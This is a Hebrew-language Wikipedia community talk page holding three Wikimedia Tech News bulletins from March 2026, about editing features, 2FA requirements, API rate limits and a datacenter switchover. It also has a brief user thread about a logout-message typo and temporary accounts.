&lt;section begin=&quot;technews-2026-W10&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/10|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* מספר ויקיפדיות עברו ל[[m:Special:MyLanguage/Wikipedia 25/Easter egg experiments|מצב חגיגות 25]] לוויקיפדיה. מדובר בוויקיפדיות בבטאווית, ברטונית, סינית, צ'כית, הולנדית, אנגלית, צרפתית, גורונטלו, אינדונזית, איטלקית, לוקסמבורגית, מאדורית, סיציליאנית, ספרדית, ויאטנאמית ותאית. המצב יתקיים לתקופה מוגבלת בה תופיע דמות קמיע חגיגית לרגל יום ההולדת, בייבי גלוב. הדמות מופיעה בכ-[[m:Special:MyLanguage/Wikipedia 25/Easter egg experiments/article configuration|2500 ערכים]], מחכה להתגלות בידי הקוראים. הקהילות יכולות להחליט להדליק את הדמות באמצעות קבלת הסכמה במזנון שלהם ובקשה ממפעיל להפעיל את התכונה באמצעות [[m:Special:MyLanguage/Wikipedia 25/Easter egg experiments#Community Configuration Demo|הגדרות הקהילה]] באתרי ויקי שלהן.

'''עדכונים לעורכים'''
* [[:m:Special:MyLanguage/WMDE Technical Wishes/Sub-referencing|הערות משנה]], תכונה חדשה לשימוש מחדש בהערות שוליים עם פרטים אחרים, התחילה לעבוד בוויקיפדיות השוודית והפולנית וב[[:phab:T418209|מספר אתרי ויקי אחרים]]. ניתן [[:m:Special:MyLanguage/WMDE Technical Wishes/Sub-referencing#test|לנסות את התכונה]] באתרי ויקי הללו, כמו גם בטסטוויקי וב[https://en.wikipedia.beta.wmcloud.org/wiki/Sub-referencing בטא ויקי]. פורסמו [[:m:Special:MyLanguage/WMDE Technical Wishes/Sub-referencing/Learnings|תוצאות הניסוי]] שבוצע בוויקיפדיה הגרמנית. אתרי ויקי [[:m:Talk:WMDE Technical Wishes/Sub-referencing#Pilot wikis|המעוניינים להצטרף לניסוי]] מוזמנים לפנות לוויקימדיה גרמניה.
* [[mw:Special:MyLanguage/Help:Edit check#Paste check|בדיקת ההדבקה]] תפעל בכל אתרי ויקיפדיה השבוע. התכונה מציעה למשתמשים חדשים שמדביקים לעורך החזותי טקסט שייתכן שלא כתבו בעצמם לשקול את סיכוני הפרות זכויות היוצרים. התכונה [[mw:Special:MyLanguage/Edit check/Tags|מתייגת]] את כל העריכות בהן הופעלה לבדיקה אפשרית בהמשך. מפעילים מקומיים יכולים לשנות את ההגדרות השונות באמצעות הדף [[{{#special:EditChecks}}]]. [[mw:Special:MyLanguage/Edit check/Paste Check#A/B Experiment|מחקר]] ב-22 אתרי ויקי גילה כי הבדיקה צמצמה ב-18% את מספר העריכות המשוחזרות בהשוואה לקבוצת ביקורת.  המתרגמים יכולים [https://translatewiki.net/w/i.php?title=Special%3ATranslate&amp;group=ext-visualeditor-ve-mw-editcheck&amp;filter=&amp;optional=1&amp;action=translate לעזור בתרגום] התכונה הזאת ונוספות הקשורות אליה.
* [[mw:Special:MyLanguage/Readers/Reader Experience|צוות חווית הקריאה]] ישנה את מראה התפריט בפינה השמאלית העליונה לכל משתמשי הניידים כדי שיהיה דומה יותר למצב מחשב. כרגע התפריט מוצג רק למשתמשים במצב נייד מתקדם. השינוי היחידי הוא מעבר של כמה כפתורים מהתפריט הימני לפינה השמאלית העליונה למשתמשים שלא הדליקו את המצב המתקדם. השינוי צפוי ב-9 במרץ ומטרתו לשפר את ממשק המשתמש. [https://phabricator.wikimedia.org/T413912]
* החל מהשבוע של 2 במרץ המכתבים הנשלחים בזמן הוספת, הורדת או שינוי כתובת המייל המחובר לחשבון יהפכו לנעימים יותר לקריאה ובעלי HTML נקי יותר מהטקסט הפשוט שנשלח עכשיו. [https://phabricator.wikimedia.org/T410807]
* נכון לעכשיו נשמרות בהיסטוריית ההודעות 2000 הודעות למשתמש החל מ-2013, שנת הפעלתן. מעכשיו יישמרו הודעות מחמש השנים האחרונות בלבד, אבל עד ל-10000 הודעות. זה יעזור לבריאות התשתיות וימנע מהודעות לא מספיק ישנות להעלם מוקדם מדי. [https://phabricator.wikimedia.org/T383948]
* [[m:Special:GlobalWatchlist|רשימת המעקב הגלובלית]] המאפשרת צפיה ברשימות המעקב מאתרי ויקי רבים באותו דף ממשיכה להשתפר. העדכון האחרון משפר את השימוש בשפות בתוויות הדפים בוויקינתונים. [[mw:Special:MyLanguage/Extension:GlobalWatchlist|ההרחבה]] מפעילה עכשיו את [[mw:Special:MyLanguage/Manual:Language#Fallback languages|מערכת השפות החלופיות]] לדפי ויקינתונים ללא תוויות בשפה המוצגת, ומראה את התוויות הללו בשפה המוגדרת על ידי המשתמש בווידינתונים במקרה שלא סופק פרמטר &lt;code dir=ltr&gt;uselang=&lt;/code&gt; בשורת הכתובת. [https://phabricator.wikimedia.org/T373686][https://phabricator.wikimedia.org/T416111]
* צוות ויקיפדיה לאנדרואיד החל בטסט בטא ל[[mw:Special:MyLanguage/Readers/Information Retrieval/Phase 1|חיפוש משולב]] בוויקיפדיה היוונית. החיפוש המשולב מטפל בו זמנית בשאילתות סמנטיות ובמילות חיפוש כדי לאפשר לקוראים למצוא ביתר קלות את מבוקשם בלי לצאת  מוויקיפדיה.
* מטעמי אבטחה חייבים חברי קבוצות משתמשים מסוימות [[m:Special:MyLanguage/Mandatory two-factor authentication for users with some extended rights|להפעיל את האימות הדו שלבי]] (2FA). עכשיו 2FA נדרש כדי להשתמש בהרשאות הקבוצה אך לא מונע חברות בה. מכיוון שבשיטה הזאת ישנן מספר בעיות המצב [[phab:T418580|ישתנה בהדרגה]] במרץ. חברי הקבוצות לא יוכלו יותר לכבות את מצב האימות היחיד בחשבונם מבלי להפעיל חלופה קודם. לא ניתן יהיה לצרף לקבוצה משתמשים ללא 2FA מופעל. ניתן יהיה להמשיך ולהוריד שיטות 2FA שונות כל עוד לפחות שיטה אחת נשארת. חברי הקבוצות הקיימים ללא 2FA המופעל יוסרו מהקבוצות. מדובר במפעילי CentralNotice, בודקים, עורכי ממשק, מסתירים, צוותי ויקינתונים וויקיפונקציות, משרד IT של הקרן ו-T&amp;S. לא ישתנה דבר לשאר המשתמשים. לוח הזמנים מופיע בקישור המצורף לפברוקטור. [https://phabricator.wikimedia.org/T418580]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:27|התקלה שדווחה|כל {{formatnum:27}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. לדוגמה, תוקנה הבעיה בגללה משתמשים לא יכלו ליצור מופע ב[https://www.wikibase.cloud/ ענן ויקיבייס]. [https://phabricator.wikimedia.org/T416807]

'''עדכונים לעורכים הטכניים'''
* כדי לקדם את [[mw:Special:MyLanguage/MediaWiki Product Insights/Responsible Reuse|השימוש ההוגן בתשתיות]] תפעיל הקרן בחודשים הקרובים הגבלת קצב גלובלית בין API שונים. בתחילת מרץ יהודקו ההגבלות על שאילתות לא מזוהות מחוץ ל-Toolforge/WMCS ואלו שנעשו מדפדפנים. באפריל יעלה הקצב המורשה לתנועה שזוהתה. ההגבלות הוצבו למקסימום האפשרי כדי להקל על הקהילות. בוטים הרצים על Toolforge/WMCS או באמצעות הרשאות בוט בכל ויקי שהיא לא אמורים להיות מושפעים, נכון לעכשיו, אבל לכל המפתחים כדאי לדבוק בטכניקות המומלצות המעודכנות. לפרטים נוספים ניתן לפנות ל-[[mw:Special:MyLanguage/Wikimedia APIs/Rate limits|Wikimedia APIs/Rate limits]].
* שירות השאילתות של ויקינתונים מפעיל את נקודת הקצה של LDF, קטעי מידע מחוברים, והיא תפסיק לפעול בפברואר. נקודת הקצה שירתה תנועה מוגבלת שעברה בהצלחה לדרכי גישת מידע אחרים המתאימים יותר למקרים הספציפיים. החומרה שהתפנתה תועבר למאמצי מעבר ב-backend הנערכים עכשיו. [https://phabricator.wikimedia.org/T415696]
* פרסר הפרסואיד החדש [[mw:Special:MyLanguage/Parsoid/Parser Unification/Updates|ממשיך להיות מופעל באתרי ויקי נוספים]], ובכך משפר את קיימות הפלטפורמה ומקל על הוספת תכונות חדשות בכתיבה ובקריאה. כרגע פרסואיד הוא פרסר ברירת מחדל ב-488 אתרי ויקי של הקרן, כולל 268 ויקיפדיות, מה שמכסה יותר מעשירית מכל קריאות הדפים בוויקיפדיות.
* [[m:Talk:Wikimedia Enterprise#Exceptional access criteria|פורסמו]] התהליך והקריטריונים ל[[Special:MyLanguage/Wikimedia Enterprise#Access|בקשות לגישה ללא הגבלות]] לפיד המחוזק של ה-API ב-Wikimedia Enterprise, כך שאלו לא יפגעו בשימושים הנוספים. זה נעשה כדי לספק תיעוד מפורט ונקי יותר למשתמשים.
* ה-[https://techblog.wikimedia.org/ Tech Blog], הבלוג המוקדש לקהילה הטכנית של ויקימדיה, [https://techblog.wikimedia.org/2026/02/24/a-tech-blog-diff/ יעבור] ל-[[diffblog:|Diff]], בלוג החדשות והאירועים של הקהילה. המעבר יושלם באפריל 2026, ולאחר מכן יתקבלו פוסטים חדשים לפרסום. הקוראים יוכלו למצוא את הפוסטים החדשים והישנים ב[https://diff.wikimedia.org/techblog דף הנחיתה].
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.18|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/10|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W10&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 19:52, 2 במרץ 2026 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30137798 --&gt;

== יציאה מהתחברות  ==

שלום. שאני לוחץ על &quot;יציאה מהתחברות&quot; זה כותב לי לאחר התנתקות, &quot;לא תהיה לך עוד אפש'''א'''ות וכו'&quot;, וצריך לתקן ל&quot;אפשרות&quot;, תודה רבה [[מיוחד:תרומות/&amp;#126;2026-14217-81|&amp;#126;2026-14217-81]] • [[שיחת משתמש:&amp;#126;2026-14217-81|שיחה]] 15:34, 5 במרץ 2026 (IST)
: מתייג את [[משתמש:Neriah]].--{{כ}} [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 16:39, 5 במרץ 2026 (IST)
:: [[משתמש:~2026-14217-81|תודה]] על הדיווח, טופל. התיקון יגיע אלינו בשבוע הבא. [[משתמש:Neriah|נריה]] - [[שיחת משתמש:Neriah|💬]] -  16:46, 5 במרץ 2026 (IST)
:::עוד שאלה: יש אפשרות שחשבון חולף לא יפוג תוך כמה שעות? [[מיוחד:תרומות/&amp;#126;2026-14255-13|&amp;#126;2026-14255-13]] • [[שיחת משתמש:&amp;#126;2026-14255-13|שיחה]] 17:27, 5 במרץ 2026 (IST)
:::: אולי אם יש לך static IP זה אולי אפשרי. [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 19:22, 5 במרץ 2026 (IST)
::::: זה תלוי בהגדרות המחשב שלך לגבי קוקיז. בעיקרון, העוגיה שנוצרת נשמרת ל-90 יום, כך שאם לא תמחק אותה, ותשתמש באותו דפדפן, אתה אמור להשאר באותו חשבון חולף.
::::: תכל'ס יכול להיות שהבעיה שגרמה היום לכך שנעלו את בסיס הנתונים גרמה גם לזה, לא יודע. אבל אתה תמיד יכול [[מיוחד:יצירת חשבון|ליצור חשבון]], זה עדיין שומר על אנונימיות מלאה :). [[משתמש:Neriah|נריה]] - [[שיחת משתמש:Neriah|💬]] -  19:30, 5 במרץ 2026 (IST)
::::::כפי שכתבתי ב[[שיחת משתמש:~2026-60899-0|מקו&quot;א]] איני יכול ליצור חשבון בגלל הגנה על המחשב שלי [[מיוחד:תרומות/&amp;#126;2026-15044-43|&amp;#126;2026-15044-43]] • [[שיחת משתמש:&amp;#126;2026-15044-43|שיחה]] 16:00, 9 במרץ 2026 (IST)

== ידיעות הטכנולוגיה 2026 – גיליון 11 ==

&lt;section begin=&quot;technews-2026-W11&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/11|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* [[m:Special:MyLanguage/Tech/Server switch|כל אתרי ויקי יעברו למצב לקריאה בלבד]] למשך כמה דקות ביום רביעי, 25 במרץ 2026, ב-[https://zonestamp.toolforge.org/1774450800 15:00 UTC] (או 17:00 שעון ישראל). מדובר בבדיקת גיבוי של מעבר מרכז הנתונים [[wikitech:Deployments/Yearly calendar|המתקיים מדי חצי שנה]]. במהלת המעבר תופנה כל תנועת הרשת של ויקימדיה ממרכז מידע ראשי אחד למרכז גיבוי כדי לבדוק זמינות ולמנוע הפרעות בשירות אפילו במצבי חירום.
* בשבוע שעבר עברו כל אתרי ויקי לשעתיים למצב של קריאה בלבד, וסקריפטים של משתמשים וגאדג'טים לא היו זמינים אף יותר זמן. זה קרה כתוצאה מאירוע אבטחה שטופל מאז. מתקיימת עבודה כדי למנוע הישנות המקרה. למידע מעודכן ניתן לפנות ל[[m:Steward's noticeboard#Statement on Meta about today's user script security incident|פוסט בלוח ההודעות של דיילים]] ([[m:Special:MyLanguage/Wikimedia Foundation/Product and Technology/Product Safety and Integrity/March 2026 User Script Incident|תרגומים]]).

'''עדכונים לעורכים'''
* משתמשים עם חסימות מרובות יוכלו לראות עכשיו סיבות לכל חסימה בנפרד בניידים במקום הודעה אחת גנרית. זה יעזור להם להבין למה נחסמו ומה לעשות כדי לפתור את הבעיות. למשל, המשתמשים שנפגעו בגלל שימוש ב-VPN נפוץ, כמו [[Special:MyLanguage/Apple iCloud Private Relay|iCloud Private Relay]], יקבלו הנחיות ברורות יותר לגבי מה עליהם לעשות כדי לחזור ולערוך. [https://phabricator.wikimedia.org/T357118]
* בהמשך השבוע יתחיל [[mw:Special:MyLanguage/VisualEditor/Suggestion Mode|מצב ההצעות]] להיות זמין כתכונת בטא בעורך החזותי בכל ויקיפדיות. התכונה מציעה באופן יזום סוגים שונים של פעולות שיכולות לשפר את הערכים ומפנה לכללים רלוונטיים. ניתן לשנות את ההגדרות מקומית, כמו גם להוסיף סוגי הצעות חדשים. ההגדות הקיימות מופיעות בדף [[Special:EditChecks]], ישנן גם [[mw:Special:MyLanguage/Help:Suggestion mode#For administrators %E2%80%93 local customization|הנחיות מקומיות למפעילים לעדכון ההגדרות]]. התכונה קשורה ל[[mw:Special:MyLanguage/Help:Edit check|בדיקת עריכה]] המציעה שיפורים תוך כדי כתיבת תוכן חדש. צוות העריכה מתכנן לבדוק את ההשפעה על המשתמשים החדשים באמצעות ניסוי ביקורת. [https://phabricator.wikimedia.org/T404600]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:23|התקלה שדווחה|כל {{formatnum:23}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקנה הבעיה בה הסמן הופיע במקום הלא נכון בצביעת הקוד CodeMirror בעורך קוד מקור המקלה על קריאת הקוד. זה נוגע למשתמשים שיצרו כללי סגנון חלופיים לגפנים המופיעים בזמן יצירת נושא חדש בכלי שיחה. [https://phabricator.wikimedia.org/T418793]

'''עדכונים לעורכים הטכניים'''
* עדכון לגבי הגבלות השימוש ב-API: כדי לעזור להבטיח [[mw:Special:MyLanguage/MediaWiki Product Insights/Responsible Reuse|שימוש הוגן בתשתיות]] יופעלו השבוע הגבלות קצב לקריאות ללא User-Agent מתאים המגיעות מחוץ ל-Toolforge/WMCS ולקריאות מתוך דפדנים ללא הזדהות. הגבלות רחבות יותר יופעלו על תנועת רשת מזוהה באפריל. בוטים הרצים ב-Toolforge/WMCS או בעלי הרשאות בוט בכל אתרי ויקי לא יושפעו נכון לעכשיו. בכל זאת מומלץ לכל המפתחים לפעול לפי כללי ההתנהגות הרלוונטיים. ניתן לקבל [[mw:Special:MyLanguage/Wikimedia APIs/Rate limits|פרטים נוספים]].
* התחיל לעבוד API חדש, GraphQL. הוא פותח כחלופה גמישה לבחירת תכונות של WQDS, שירות השאילתות של ויקינתונים, כדי לשפר את חווית המפתח ואת יכולת ההסתגלות, ולייעל את הגישה לנתונים. ניתן לנסות ו[[d:Wikidata:Wikibase GraphQL#Feedback and development|להשאיר משוב]], כמו גם [https://greatquestion.co/wikimediadeutschland/GraphQLAPI/apply להרשם לבדיקות בשימוש].
* [[m:Special:MyLanguage/Product and Technology Advisory Council/Unsupported Tools Working Group|צוות הכלים ללא תמיכה של PTAC]] ממשך לשפר את [[commons:Special:MyLanguage/Commons:Video2commons#|Video2Commons]]. בפברואר טופלו בעיות בזיהוי, ניהול קבצים גדולים, שקיפות תור המשימות, ובעיות בהבנת התנהגות ההעלאה. נמשכת העבודה בכמה תחומים, כולל שינויים הקשורים להעלאות מיושנות בצד השרת. לפרטים נוספים ניתן לפנות ל[[m:Special:MyLanguage/Product and Technology Advisory Council/Unsupported Tools Working Group#February 2026|עדכון]].
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.19|MediaWiki]]

'''לעומק'''
* צוות הנחיות הערכים מזמין עורכי ויקיפדיה מנוסים מכמה [[mw:Special:MyLanguage/Article guidance/Pilot wikis and collaborators#Collaborators|אתרי ויקי נבחרים]] ותורמים מעוניינים מוויקיפדיות אחרות למלא שאלון הזמין ב[https://docs.google.com/forms/d/e/1FAIpQLSfmLeVWnxmsCbPoI_UF2jyRcn73WRGWCVPHzerXb4Cz97X_Ag/viewform אנגלית], [https://docs.google.com/forms/d/e/1FAIpQLSd6rzr4XXQw8r4024fE3geTPFe13M_6w7Mitj-YJi0sOlWTAw/viewform?usp=header ערבית], [https://docs.google.com/forms/d/e/1FAIpQLSdok3-RfB18lcugYTUMGkpwmqG_8p760Wv4dCXitOXOszjUDw/viewform?usp=header בנגאלית], [https://docs.google.com/forms/d/e/1FAIpQLSfjTfYp4jEo0akA4B1e-Nfg3QZPCudUjhJzHzzDi6AHyAaMGA/viewform?usp=header יפנית], [https://docs.google.com/forms/d/e/1FAIpQLScteVoI29Aue4xc72dekk-6RYtvmMgQxzMI900UOawrFrSTWg/viewform?usp=header פורטוגזית], [https://docs.google.com/forms/d/e/1FAIpQLSetdxnYwL3ub2vqA7awCg5hJZPMIYcDPaiTe12rY9h0GYnVlw/viewform?usp=header פרסית] ו[https://docs.google.com/forms/d/e/1FAIpQLScNvfJF-Ot-4pzA4qAN771_0QDJ4Li19YcUsaTgSKW8Nc7U_Q/viewform?usp=header טורקית]. התשובות יעזרו להתאים הנחיות לעורכים פחות מנוסים ולעזור להם ללמוד את כללי המדיניות וההתנהגות בקהילה בזמן יצירת הערכים. ניתן ללמוד עוד ב[[mw:Special:MyLanguage/Article guidance|דף המיזם]].

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/11|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W11&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 20:53, 9 במרץ 2026 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30213008 --&gt;

== ידיעות הטכנולוגיה 2026 – גיליון 12 ==

&lt;section begin=&quot;technews-2026-W12&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2026/12|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* תכונת הבטא [[mw:Special:MyLanguage/Help:Extension:CodeMirror|{{int:codemirror-beta-feature-title}}]] הידועה גם בתור [[mw:Special:MyLanguage/Extension:CodeMirror|CodeMirror 6]] שימשה לצביעת קוד ויקי החל מנובמבר 2024. היא תצא מהבטא לקראת מאי 2026 כדי להביא שיפורים ו[[mw:Special:MyLanguage/Help:Extension:CodeMirror#Features|תכונות]] חדשות לכל העורכים המשתמשים בהדגשה התקנית. ניתן לפנות עם שאלות או חששות בעניין היציאה מהבטא לדף [[mw:Special:MyLanguage/Help talk:Extension:CodeMirror|הזה]]. [https://phabricator.wikimedia.org/T259059]
* בעבר השינויים בקבוצות משתמשים מקומיות שנעשו בידי הדיילים בוצעו במטא והופיעו ביומנים רק שם. מעכשיו השינויים יופיעו גם בוויקי המקומית הרלוונטית כדי להקל על גישה מלאה לשינויים בהרשאות המשתמשים באתרי ויקי שונים. רשומות היומן לשינויים כאלו בעבר יעודכנו בדיעבד במהלך השבועות הקרובים. [https://phabricator.wikimedia.org/T6055]
* באתרי ויקי המפעילים את ההרחבה לניטור בשם [[m:Special:MyLanguage/Flagged Revisions|Flagged Revisions]], כולל ויקיטקסט בעברית, מופיע מספר השינויים הדורשים ניטור בראש הדף בשם [[{{#Special:PendingChanges}}]] (מיוחד:שינויים ממתינים). עד כה הופיע מספר גדול מדי, כי הוא כלל דפים שלא צריכים יותר ניטור עקב הסרתם מהמערכת ללא ניטור. למשל, דפים שנמחקו, הועברו למרחב שם ללא ניטור, או בגלל שינויים בהגדרות האתר. מעכשיו יופיע המספר הנכון, ובחלק מאתרי ויקי הוא יקטן משמעותית כתוצאה מכך. לא צפוי שינוי ברשימת הדפים. [https://phabricator.wikimedia.org/T413016]
* שפת התכנות של ויקיפונקציות נכתבה מחדש, והגרסה החדשה שלה כבר פורסמה. המטרה בשינוי היא להעלות יציבות באמצעות צמצום דרישות הזיכרון. השינוי גם מקטין את זמני הביצוע, מפשט את הקוד, משפר את האבסטרקציות, וזה יאפשר הוספת תכונות חדשות בעתיד. ניתן לקרוא [[f:Special:MyLanguage/Wikifunctions:Status updates/2026-03-11|פרטים]] על השינויים.
* המשתמשים יכולים עכשיו למיין את תוצאות חיפוש ויקי אלפבטית. העדכון נותן דרך נוספת לבצע חיפוש מהר יותר וקל יותר. בעבר התוצאות מויינו לפי תאריך עריכה, תאריך יצירה או רלוונטיות. לשימוש בתכונה החדשה יש ללחוץ על &quot;חיפוש מתקדם&quot; ולבחור את הדרך הרצויה בשדה &quot;סדר מיון&quot;. [https://phabricator.wikimedia.org/T403775]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:28|התקלה שדווחה|כל {{formatnum:28}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]]. למשל, תוקן הבאג שמנע מאשף ההעלאות בוויקישיתוף לייבא קבצים מ-Flickr.&amp;rlm; [https://phabricator.wikimedia.org/T419263]
'''עדכונים לעורכים הטכניים'''
* דף מיוחד חדש בשם [[{{#special:LintTemplateErrors}}]] יציג את רשימת הדפים המציגים שגיאות לינטר, כדי שניתן יהיה למצוא אותם בקלות. הרשימות ממוינות  לפי מספר השגיאות, למשל, [[{{#special:LintTemplateErrors}}/night-mode-unaware-background-color]].&amp;rlm; [https://phabricator.wikimedia.org/T170874]
* המשתמשים בתכונת בטא [[mw:Special:MyLanguage/Help:Extension:CodeMirror|{{int:codemirror-beta-feature-title}}]] מקבלים זה זמן מה את [[mw:Special:MyLanguage/Extension:CodeMirror|CodeMirror]] במקום [[mw:Special:MyLanguage/Extension:CodeEditor|CodeEditor]]&amp;rlm; (ACE) לצביעת התחביר בדפי JavaScript,&amp;rlm; CSS,&amp;rlm; JSON,&amp;rlm; Vue ולואה. יחד עם הוצאת CodeMirror 6 מתוך בטא מתוכננת גם החלפת ACE כעורך התקני לסוגי הדפים הללו לקראת מאי 2026. [[mw:Special:MyLanguage/Help talk:Extension:CodeMirror|השארת משוב או חששות]]. [https://phabricator.wikimedia.org/T419332]
* המודולים של [[mw:Special:MyLanguage/Extension:CodeMirror|CodeMirror]] ב-JavaScript ישודרגו בקרוב ל-CodeMirror 6. לקראת השדרוג הוכרז השימוש ב-&lt;code dir=ltr&gt;ext.CodeMirror&lt;/code&gt; ו-&lt;code dir=ltr&gt;ext.CodeMirror.lib&lt;/code&gt; בגאדג'טים וסקריפטים אישיים כמיושן ביולי 2025. השימוש בהוק &lt;code dir=ltr&gt;ext.CodeMirror.switch&lt;/code&gt; הוכרז כמיושן במרץ 2025. התורמים יכולים עכשיו להתאים את הסקריפטים והגאדג'טים שלהם ל-CodeMirror 6. מידע נוסף מופיע ב[[mw:Special:MyLanguage/Extension:CodeMirror#Gadgets and user scripts|מדריך המעבר]]. [https://phabricator.wikimedia.org/T373720]
* צוות הממשקים של מדיהוויקי מרחיב את הכיסוי של הגדרות המודול REST API כך שיכלול גם את [[mw:Special:MyLanguage/API:REST API/Extensions|הרחבות ה-API]]. המודולים של REST API הם קבוצות של נקודות קצה רלוונטיות שניתן לנהל ולעדכן בנפרד זה מזה. קיימים מודולים עבור API של [https://phabricator.wikimedia.org/T414470 GrowthExperiments] ושל [https://phabricator.wikimedia.org/T419053 ויקיפונקציות]. במעבר הרחבות ה-API למבנה הזה יועבר גם התיעוד של OpenAPI הראשי של מדיהוויקי ושל תצוגת ארגז החול REST, והוא יהיה זמין בבחירת המודולים בתפריט של [https://test.wikipedia.org/wiki/Special:RestSandbox REST Sandbox] בדף [[{{#Special:RestSandbox}}]] בכל אתרי ויקי.
* הרחבת ה-[[mw:Special:MyLanguage/Extension:Scribunto|Scribunto]] מספקת מידע מגוון לגבי אתר ויקי בו היא רצה באמצעות הספרייה [[mw:Special:MyLanguage/Extension:Scribunto/Lua reference manual|mw.site]]. החל מהשבוע שעבר הספרייה מאפשרת גם לקבל את [[mw:Special:MyLanguage/Extension:Scribunto/Lua reference manual#mw.site.wikiId|הדרך]] לגישה ל[[mw:Special:MyLanguage/Manual:Wiki ID|מזהה ויקי]] שניתן להשתמש בו בניהול מודולים בין אתר ויקי אחד לאחרים. [https://phabricator.wikimedia.org/T146616]
* [[File:Reload icon with two arrows.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.46/wmf.20|MediaWiki]]

'''לעומק'''
* התחרות [[m:Special:MyLanguage/Coolest Tool Award|הכלי המדליק 2026]] בין הכלים הטכניים הקהילתיים הטובים ביותר פתוחה להזמנות. ניתן להציע את הכלי האהוב באמצעות [https://wikimediafoundation.limesurvey.net/435684?lang=en טופס ההגשה] עד ל-23 במרץ 2026. למידע נוסף בנושאי הפרטית וניהול הנתונים ניתן לגשת ל[[foundation:Special:MyLanguage/Legal:Coolest_Tool_Award_2026_Survey_Privacy_Statement|הצהרת הפרטיות]].

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2026/12|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2026-W12&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 21:36, 16 במרץ 2026 (IST)
&lt;!-- הודעה שנשלחה על־ידי User:STei (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=30260505 --&gt;

== תבנית &quot;הסבר בוט חוקים&quot; ==

